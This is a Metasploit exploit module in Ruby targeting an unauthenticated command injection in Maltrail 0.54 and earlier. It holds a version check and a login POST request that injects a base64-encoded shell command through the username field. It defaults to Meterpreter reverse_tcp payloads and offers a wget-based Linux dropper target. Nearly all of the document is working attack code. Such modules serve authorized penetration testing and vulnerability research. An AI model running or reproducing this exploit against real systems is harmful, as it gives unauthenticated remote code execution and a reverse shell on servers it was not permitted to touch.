Maltrail Unauthenticated Command Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Maltrail Unauthenticated Command Injection',
        'Description' => %q{
          Maltrail is a malicious traffic detection system, utilizing publicly
          available blacklists containing malicious and/or generally suspicious trails.
          The Maltrail versions <= 0.54 is suffering from a command injection vulnerability.
          The `subprocess.check_output` function in `mailtrail/core/httpd.py` contains
          a command injection vulnerability in the `params.get("username")` parameter.
          An attacker can exploit this vulnerability by injecting arbitrary OS commands
          into the username parameter. The injected commands will be executed with the
          privileges of the running process. This vulnerability can be exploited remotely
          without authentication.

          Successfully tested against Maltrail versions 0.52 and 0.53.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Ege BALCI <egebalci[at]pm.me>', # msf module
          'Valentin Lobstein',             # Add CVE reference + rewrite
          'Chris Wild',                    # original PoC, analysis
        ],
        'References' => [
          ['CVE', '2025-34073'],
          ['EDB', '51676'],
          ['CVE', '2025-34073'],
          ['URL', 'https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/'],
          ['URL', 'https://github.com/stamparm/maltrail/issues/19146']
        ],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => :wget,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DisclosureDate' => '2023-07-31',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => []
        }
      )
    )
    register_options(
      [
        Opt::RPORT(8338),
        OptString.new('TARGETURI', [ true, 'The URI of the Maltrail server', '/'])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET'
    )
    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

    version = Rex::Version.new(Regexp.last_match(1)) if res.body =~ %r{\(v<b>([0-9.]+)</b>\)}

    if version < Rex::Version.new('0.54')
      return CheckCode::Appears("Version Detected: #{version}")
    end

    CheckCode::Safe("Version Detected: #{version}")
  end

  def execute_command(cmd, _opts = {})
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'login'),
      'method' => 'POST',
      'uri_encode_mode' => 'none',
      'headers' => {
        'ctype' => 'application/x-www-form-urlencoded'
      },
      'data' => "username=;`echo+\"#{Rex::Text.encode_base64(cmd)}\"+|+base64+-d+|+sh;#`"
    )
  end

  def exploit
    case target['Type']
    when :unix_cmd
      print_status("Executing #{target.name}...")
      execute_command(payload.encoded)
    when :linux_dropper
      print_status("Executing #{target.name}...")
      execute_cmdstager
    end
  end
end